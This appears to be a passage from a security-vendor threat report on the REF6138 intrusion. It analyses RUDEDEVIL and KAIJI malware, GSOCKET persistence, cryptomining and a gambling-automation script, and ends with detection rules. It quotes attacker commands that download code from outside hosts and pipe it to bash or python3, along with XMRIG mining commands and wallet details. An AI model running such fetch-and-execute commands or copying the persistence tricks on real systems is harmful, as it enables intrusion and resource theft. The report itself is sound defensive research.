<p>Another crucial thread is responsible for monitoring network traffic, specifically focusing on the <code>eth0</code> network interface. This functionality is handled by the <code>getOutRates</code> function. The function begins by setting up necessary variables and opening the <code>/proc/net/dev</code> file, which contains detailed network statistics for each interface.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image22.png" alt="Getting network rates from /proc/net/dev" title="Getting network rates from /proc/net/dev" /></p>
<p>If the file is successfully opened, the malware reads a block of data — up to 1024 bytes — and processes it to extract the relevant network statistics. It specifically looks for the <code>eth0</code> interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for <code>eth0</code>; otherwise, it returns <code>0</code>, ensuring the malware continues functioning even if an error occurs.</p>
<p>This routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.</p>
<h4>Understanding the Get_Cpu_Message Function</h4>
<p>For CPU monitoring, the malware uses the <code>GetCpuRates</code> function. This function continuously monitors the CPU usage by reading data from <code>/proc/stat</code>. Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image34.png" alt="Getting CPU information from /proc/stat" title="Getting CPU information from /proc/stat" /></p>
<p>The function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it’s able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.</p>
<h4>Understanding the Send_Host_Message Function</h4>
<p>Perhaps the most critical thread is the one responsible for sending system information back to the malware operators. The <code>_SendInfo</code> function performs this task by collecting data about the infected system’s CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system’s status, it formats the CPU and network usage into a string.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image19.png" alt="Sending system info back to the C2" title="Sending system info back to the C2" /></p>
<p>Additionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.</p>
<p>In essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.</p>
<h3>Connecting to the Command-and-Control (C2) Server</h3>
<p>Once all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the <code>ConnectServer</code> function in the main thread, which handles communication with the server and executes commands remotely.</p>
<h4>Understanding the ConnectServer Function</h4>
<p>The first task the <code>ConnectServer</code> function performs is establishing a connection to the C2 server using <code>ServerConnectCli</code>. After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.</p>
<p>Once the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.</p>
<p>After this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.</p>
<p>When the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.</p>
<h4>Command-and-Control (C2) Commands</h4>
<p>The <code>ConnectServer</code> function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here’s a breakdown of the commands handled by the malware:</p>
<ul>
<li><strong>Case 4:</strong> The malware calls the <code>DealwithDDoS</code> function, likely initiating a Distributed Denial of Service (DDoS) attack.</li>
<li><strong>Case 5:</strong> Sets the <code>StopFlag</code> to <code>1</code>, which could signal the malware to stop specific tasks.</li>
<li><strong>Case 6:</strong> Downloads a file from the server using <code>http_get</code>, changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.</li>
<li><strong>Case 7:</strong> Executes a system command using the <code>system</code> function, providing the attackers with direct control over the system’s command line.</li>
<li><strong>Case 8:</strong> Sets <code>StopCpu</code> to <code>0</code>, restarting any previously halted CPU tasks.</li>
<li><strong>Case 9:</strong> Sets <code>StopCpu</code> to <code>1</code>, halting all CPU tasks.</li>
<li><strong>Case 0xA:</strong> Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.</li>
<li><strong>Case 0xB:</strong> Sets <code>stopxmr</code> to <code>1</code>, effectively stopping the XMRIG miner.</li>
<li><strong>Case 0xC:</strong> Resets <code>stopxmr</code> to <code>0</code> and retrieves the current process PID, resuming the mining activity.</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image19.png" alt="Processing of C2 commands" title="Processing of C2 commands" /></p>
<p>Each command gives the malware operators precise control over how the infected machine behaves, whether it’s participating in a DDoS attack, running new malware, or managing mining operations.</p>
<h3>Variants of RUDEDEVIL Malware and XMRIG Configuration</h3>
<p>While the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.</p>
<p>Each version of the malware was configured to connect to the same mining pool, <code>c3pool.org</code>, but with slight differences in the parameters passed to the XMRIG miner:</p>
<ul>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R</code></li>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2</code></li>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php</code></li>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0</code></li>
</ul>
<p>Each of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the <code>c3pool</code> application, we confirmed that both XMR addresses associated with these commands are currently active and mining.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image9.png" alt="C3pool mining revenue" title="C3pool mining revenue" /></p>
<p>Additionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.</p>
<h2>GSOCKET</h2>
<p>To establish persistence, the threat actor downloaded and installed <a href="https://github.com/hackerschoice/gsocket">GSOCKET</a>, a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.</p>
<p>Although GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.</p>
<p>Once deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image7.png" alt="GSOCKET Kernel Process Masquerading" title="GSOCKET Kernel Process Masquerading" /></p>
<p>It then creates the <code>/dev/shm/.gs-1000</code> directory to download and store its binary in shared memory. Additionally, by default, it sets up an <code>/htop</code> directory under <code>/home/user/.config/htop/</code> to store both the GSOCKET binary and the secret key used for its operations.</p>
<p>Next, a cron job that runs the GSOCKET binary with the secret key every minute is set up.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image21.png" alt="GSOCKET Crontab Persistence" title="GSOCKET Crontab Persistence" /></p>
<p>The binary is executed under the name of a kernel process using the <code>exec -a [process_name]</code> command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:</p>
<p>When decoding the payload, we see how the <code>defunct.dat</code> secret key is used as an argument to execute the <code>defunct</code> binary, which is masqueraded as <code>[raid5wq]</code> through the use of <code>exec -a </code>command:</p>
<p>In addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (<code>rc.local</code>) and Systemd. GSOCKET enumerates potential persistence locations:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image29.png" alt="GSOCKET Persistence Technique Enumeration" title="GSOCKET Persistence Technique Enumeration" /></p>
<p>GSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image14.png" alt="GSOCKET Webhook Capabilities" title="GSOCKET Webhook Capabilities" /></p>
<p>Finally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image16.png" alt="GSOCKET Timestomping Capability" title="GSOCKET Timestomping Capability" /></p>
<p>These features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection.</p>
<p>Additionally, a PHP payload was fetched from an external IP and saved as <code>404.php</code>, likely functioning as a backdoor for future access. We did not manage to obtain this payload.</p>
<h3>Post compromise dwell time</h3>
<p>After a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.</p>
<p>After regaining access to the host, a newer version of the KAIJI malware was deployed.</p>
<h3>KAIJI malware: a comparison to previous samples</h3>
<p>While investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image2.png" alt="KAIJI Download.sh Script" title="KAIJI Download.sh Script" /></p>
<p>The same Shell script is found in other reports where this script is used to deploy KAIJI.</p>
<p>As part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of <code>Chaos</code> (KAIJI) can be found in their blog post<a href="https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/"> here</a>.</p>
<p>Using <a href="https://github.com/google/bindiff">BinDiff</a>, a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image18.png" alt="Bindiff for Old and New Version of KAIJI" title="Bindiff for Old and New Version of KAIJI" /></p>
<p>Although the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.</p>
<p>Delving deeper into the disassembly, we identified a function named <code>main_Link</code>. This function is responsible for decoding the C2 server address used by the malware.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image31.png" alt="KAIJI main_link Function" title="KAIJI main_link Function" /></p>
<p>Once decoded, the function searches for the <code>|(odk)/*-</code> postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.</p>
<p>Given that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image12.png" alt="KAIJI Dynamic Analysis - Part 1" title="KAIJI Dynamic Analysis - Part 1" /></p>
<p>After execution, KAIJI creates several files in the <code>/etc/</code> and <code>/dev/</code> directories, <code>/etc/id.services.conf</code>, <code>/etc/32678</code>, <code>/dev/.img</code> and <code>/dev/.old</code>. These scripts are places to establish persistence.</p>
<p>Two services are set up, <code>/etc/init.d/linux_kill</code> and <code>crond.service</code>. <code>crond.service</code> is executed by Systemd, while <code>linux_kill</code> is used for SysVinit persistence.</p>
<p>After reloading the Systemd daemon, the first network connection to the C2 is attempted.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image18.png" alt="KAIJI Dynamic Analysis - Part 2" title="KAIJI Dynamic Analysis - Part 2" /></p>
<p>Next, the <code>Systemd Late generator</code> service file is created. More information on the workings of <code>Systemd</code>, and different ways of establishing persistence through this method can be found in our recent blog series dubbed <a href="https://www.elastic.co/es/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering -  A primer on persistence mechanisms</a>.</p>
<p>KAIJI creates the <code>/boot/System.img.config</code> file, which is an executable that is executed through the previously deployed <code>Systemd</code> services. This binary, is amongst other binaries, another way of establishing persistence.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image26.png" alt="KAIJI Dynamic Analysis - Part 3" title="KAIJI Dynamic Analysis - Part 3" /></p>
<p>Next, KAIJI adjusts the <code>SELinux</code> policies to allow unauthorized actions. It searches audit logs for denied operations related to <code>System.img.conf</code>, generates a new <code>SELinux</code> policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.</p>
<p>Additionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; <code>/usr/lib/libd1rpcld.so</code> and <code>/.img</code>.</p>
<p>Right after, <code>/etc/crontab</code> is altered through an echo command, ensuring that the <code>/.img</code> file is executed by root on a set schedule.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image20.png" alt="KAIJI Dynamic Analysis - Part 4" title="KAIJI Dynamic Analysis - Part 4" /></p>
<p>KAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image17.png" alt="KAIJI Dynamic Analysis - Part 5" title="KAIJI Dynamic Analysis - Part 5" /></p>
<p>KAIJI uses the <code>renice</code> command to grant PID <code>2957</code>, one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.</p>
<p>To evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.</p>
<p>Finally, we see a trace of <code>cron</code> executing the <code>/.img</code>, which was planted in the <code>/etc/crontab</code> file earlier.</p>
<h2>The saga continues</h2>
<p>Two weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the <code>www-data</code> user through the Apache2 process using the command:</p>
<pre><code>sh -c wget http://91.92.241[.]103:8002/gk.php
</code></pre>
<p>The contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying <code>pspy64</code>. <code>Pspy</code> is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities​.</p>
<p>Notably, <code>pspy64</code> was executed by the <code>[rcu_preempt]</code> parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.</p>
<p>Further attempts at privilege escalation involved exploiting <code>CVE-2021-4034</code>, also known as <code>pwnkit</code>. This vulnerability affects the <code>pkexec</code> component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.</p>
<h3>Custom built binaries</h3>
<p>Right after, the attackers attempted to download a custom-built malware named <code>apache2</code> and <code>apache2v86</code> from:</p>
<ul>
<li><code>http://62.72.22[.]91/apache2</code></li>
<li><code>http://62.72.22[.]91/apache2v86</code></li>
</ul>
<p>We obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.</p>
<p>While the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image33.png" alt="Apache2 XOR-Encoded Strings" title="Apache2 XOR-Encoded Strings" /></p>
<p>The XOR key used to encode the strings was identified as <code>0x79</code> (or the character <code>y</code>). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:</p>
<pre><code>/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: &quot;Chromium&quot;;v=&quot;122&quot;, &quot;Google Chrome&quot;;v=&quot;122&quot;, &quot;Not-A.Brand&quot;;v=&quot;99
sec-ch-ua-platform: &quot;Windows&quot;
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.
</code></pre>
<p>This indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it’s clear that this piece of software was not yet fully developed or operational.</p>
<h3>Additional reconnaissance</h3>
<p>The attackers continued to use tools from The Hacker’s Choice, by downloading and executing <a href="https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/whatserver.sh"><code>whatserver.sh</code></a>.</p>
<p>This Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names (FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.</p>
<h3>Mining activities</h3>
<p>After nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the <code>www-data</code> user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called <code>[mm_percpu_wq]</code>.</p>
<p>After decoding the base64 contents, we get a very familiar looking output:</p>
<p>Through our behavioral rules, we see the threat actor listing the current user’s crontab entries, and echoing a payload directly into the crontab.</p>
<p>This command tries to download <code>http://gcp.pagaelrescate[.]com:8080/ifindyou</code> every minute, and pipe it to bash. Looking at the contents of <code>ifindyou</code>, we see the following Bash script:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image8.png" alt="Stage 1 - ifindyou.sh" title="Stage 1 - ifindyou.sh" /></p>
<p>This script gathers hostname and IP information, downloads the <code>SystemdXC</code> archive from <code>http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC</code> (XMRIG), stores this in <code>/tmp/SystemdXC</code>, extracts the archive and executes it with the necessary parameters to start mining Bitcoin.</p>
<p>When examining the mining command, we can see how the malware configures XMRIG:</p>
<p>This command connects to the <code>unmineable.com</code> mining pool, using the infected machine’s hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address <code>1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz</code>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image1.png" alt="Bitcoin Address Lookup" title="Bitcoin Address Lookup" /></p>
<p>Upon further investigation into the Bitcoin address, we found that this address has performed a single transaction.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image32.png" alt="Bitcoin Transaction" title="Bitcoin Transaction" /></p>
<p>Interestingly, the output address for this transaction points to a well-known <a href="https://www.ledger.com/academy/topics/security/hot-wallet-vs-cold-crypto-wallet-whats-the-difference">hot wallet</a> associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image10.png" alt="Binance Wallet Destination" title="Binance Wallet Destination" /></p>
<p>When returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:</p>
<pre><code>curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash
</code></pre>
<p>Looking at this payload, we can see the following contents:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image23.png" alt="Stage 2 - cycnet.sh" title="Stage 2 - cycnet.sh" /></p>
<p>This stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:</p>
<p>The cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:</p>
<pre><code>curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3
</code></pre>
<p>The downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.</p>
<p>Upon closer examination, we identified the following key components of the script:</p>
<p><strong>Global Variables:</strong></p>
<ul>
<li><code>usuario</code>: Stores the user ID for managing the session.</li>
<li><code>apuesta</code>: Represents the bet amount.</li>
<li><code>ganancias</code>: Tracks the winnings and losses.</li>
<li><code>saldo_actual</code>: Holds the current account balance.</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image3.png" alt="enviador_slot Global Variables" title="enviador_slot Global Variables" /></p>
<h4>Understanding the <code>obteneruid</code> Function</h4>
<p>This function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image27.png" alt="enviador_slot obteneruid Function" title="enviador_slot obteneruid Function" /></p>
<h4>Understanding the <code>enviardatos</code> Function</h4>
<p>This function sends game data or status updates back to <code>gcp.pagaelrescate[.]com</code>, logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image4.png" alt="enviador_slot enviardatos Function" title="enviador_slot enviardatos Function" /></p>
<h4>Understanding the <code>hacerjugada</code> Function</h4>
<p>The <code>hacerjugada</code> function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls <code>completarbono()</code> to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image28.png" alt="enviador_slot hacerjugada Function" title="enviador_slot hacerjugada Function" /></p>
<h4>Understanding the <code>completarbono</code> Function</h4>
<p>When a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the <code>enviardatos()</code> function.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/image6.png" alt="enviador_slot completarbono Function" title="enviador_slot completarbono Function" /></p>
<h4>Likely Used for Testing Purposes</h4>
<p>It’s important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.</p>
<h2>REF6138 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:</p>
<p><em>MITRE ATT&amp;CK tactics, techniques and sub-techniques used</em></p>
<table>
<thead>
<tr>
<th>Tactic</th>
<th>Technique</th>
<th>Sub-Technique</th>
</tr>
</thead>
<tbody>
<tr>
<td>Resource Development</td>
<td>T1587: Develop Capabilities</td>
<td>Malware</td>
</tr>
<tr>
<td></td>
<td>T1588: Obtain Capabilities</td>
<td>Tool</td>
</tr>
<tr>
<td></td>
<td>T1608: Stage Capabilities</td>
<td>Upload Malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Upload Tool</td>
</tr>
<tr>
<td>Initial Access</td>
<td>T1190: Exploit Public-Facing Application</td>
<td></td>
</tr>
<tr>
<td>Execution</td>
<td>T1059: Command and Scripting Interpreter</td>
<td>Unix Shell</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Python</td>
</tr>
<tr>
<td></td>
<td>T1053: Scheduled Task/Job</td>
<td>Cron</td>
</tr>
<tr>
<td>Persistence</td>
<td>T1546: Event Triggered Execution</td>
<td>Unix Shell Configuration Modification</td>
</tr>
<tr>
<td></td>
<td>T1053: Scheduled Task/Job</td>
<td>Cron</td>
</tr>
<tr>
<td></td>
<td>T1505: Server Software Component</td>
<td>Web Shell</td>
</tr>
<tr>
<td>Privilege Escalation</td>
<td>T1068: Exploitation for Privilege Escalation</td>
<td></td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>T1140: Deobfuscate/Decode Files or Information</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1222: File and Directory Permissions Modification</td>
<td>Linux and Mac File and Directory Permissions Modification</td>
</tr>
<tr>
<td></td>
<td>T1564: Hide Artifacts</td>
<td>Hidden Files and Directories</td>
</tr>
<tr>
<td></td>
<td>T1070: Indicator Removal</td>
<td>Timestomp</td>
</tr>
<tr>
<td></td>
<td>T1036: Masquerading</td>
<td>Masquerade Task or Service</td>
</tr>
<tr>
<td></td>
<td>T1027: Obfuscated Files or Information</td>
<td>Software Packing</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Stripped Payloads</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Command Obfuscation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Encrypted/Encoded File</td>
</tr>
<tr>
<td>Discovery</td>
<td>T1057: Process Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1082: System Information Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1061: System Network Configuration Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1049: System Network Connections Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1007: System Service Discovery</td>
<td></td>
</tr>
<tr>
<td>Collection</td>
<td>T1119: Automated Collection</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1005: Data from Local System</td>
<td></td>
</tr>
<tr>
<td>Command and Control</td>
<td>T1071: Application Layer Protocol</td>
<td>Web Protocols</td>
</tr>
<tr>
<td></td>
<td>T1132: Data Encoding</td>
<td>Standard Encoding</td>
</tr>
<tr>
<td></td>
<td>T1001: Data Obfuscation</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1573: Encrypted Channel</td>
<td>Symmetric Cryptography</td>
</tr>
<tr>
<td></td>
<td>T1105: Ingress Tool Transfer</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1571: Non-Standard Port</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1572: Protocol Tunneling</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1102: Web Service</td>
<td></td>
</tr>
<tr>
<td>Impact</td>
<td>T1496: Resource Hijacking</td>
<td></td>
</tr>
</tbody>
</table>
<h2><strong>Detecting REF6138</strong></h2>
<p>Elastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.</p>
<h3>Detection</h3>
<p>The following detection rules were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/execution_linux_segfault.toml">Segfault Detection</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_timestomp_touch.toml">Timestomping using Touch Command</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_configuration_modification.toml">Shell Configuration Creation or Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_binary_copied_to_suspicious_directory.toml">System Binary Moved or Copied</a></li>
</ul>
<h3>Prevention</h3>
<p>The following behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_reverse_shell_via_suspicious_utility.toml">Linux Reverse Shell via Suspicious Utility</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_defense_evasion_via_bind_mount.toml">Defense Evasion via Bind Mount</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_suspicious_child_process_execution_via_interactive_shell.toml">Linux Suspicious Child Process Execution via Interactive Shell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_potential_linux_hack_tool_launched.toml">Potential Linux Hack Tool Launched</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/privilege_escalation_privilege_escalation_via_pkexec_exploitation.toml">Privilege Escalation via PKEXEC Exploitation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/lateral_movement_potential_ssh_it_ssh_worm_downloaded.toml">Potential SSH-IT SSH Worm Downloaded</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_job_executing_binary_in_unusual_location.toml">Scheduled Job Executing Binary in Unusual Location</a></li>
</ul>
<p>The following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Generic_Threat.yar">Linux.Generic.Threat</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Hacktool_Flooder.yar">Linux.Hacktool.Flooder</a></li>
</ul>
<p>The following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:</p>
